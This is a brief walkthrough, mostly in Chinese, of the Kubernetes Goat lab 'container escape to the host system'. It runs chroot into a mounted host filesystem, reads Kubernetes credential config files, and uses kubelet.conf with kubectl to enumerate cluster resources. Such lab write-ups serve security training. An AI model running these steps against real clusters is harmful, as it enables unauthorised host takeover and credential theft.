categories: []
date: '2023-10-28T15:15:52.766760+08:00'
tags: []
title: Kubernetes Goat 04 - Container escape to the host system
updated: 2023-10-28T15:15:53.311+8:0

Container escape to the host system

https://gh.putdown.top/https://github.com/futalk/tuchuang/raw/main/img/Snipaste_2023-10-28_15-06-24_d41d8cd98f00b204e9800998ecf8427e.jpg

查看环境

https://gh.putdown.top/https://github.com/futalk/tuchuang/raw/main/img/Snipaste_2023-10-28_15-07-11_d41d8cd98f00b204e9800998ecf8427e.jpg

  • 查看挂载
  • mount/df -Th

https://gh.putdown.top/https://github.com/futalk/tuchuang/raw/main/img/Snipaste_2023-10-28_15-08-58_d41d8cd98f00b204e9800998ecf8427e.jpg

  • 找到挂载目录ls -la /host-system

https://gh.putdown.top/https://github.com/futalk/tuchuang/raw/main/img/Snipaste_2023-10-28_15-12-00_d41d8cd98f00b204e9800998ecf8427e.jpg

切换到宿主机的目录

chroot /host-system bash

https://gh.putdown.top/https://github.com/futalk/tuchuang/raw/main/img/Snipaste_2023-10-28_15-18-41_d41d8cd98f00b204e9800998ecf8427e.jpg

  • docker ps

https://gh.putdown.top/https://github.com/futalk/tuchuang/raw/main/img/Snipaste_2023-10-28_15-19-43_d41d8cd98f00b204e9800998ecf8427e.jpg

  • 查看k8s配置文件
cat /etc/kubernetes/controller-manager.conf

https://gh.putdown.top/https://github.com/futalk/tuchuang/raw/main/img/Snipaste_2023-10-28_15-21-18_d41d8cd98f00b204e9800998ecf8427e.jpg

  • 可使用kubectl利用配置文件获取集群内的所有资源。
kubectl --kubeconfig /etc/kubernetes/kubelet.conf  get all -n kube-system

https://gh.putdown.top/https://github.com/futalk/tuchuang/raw/main/img/Snipaste_2023-10-28_15-52-07_d41d8cd98f00b204e9800998ecf8427e.jpg

kubectl --kubeconfig /etc/kubernetes/kubelet.conf  get pod

https://gh.putdown.top/https://github.com/futalk/tuchuang/raw/main/img/Snipaste_2023-10-28_15-50-29_d41d8cd98f00b204e9800998ecf8427e.jpg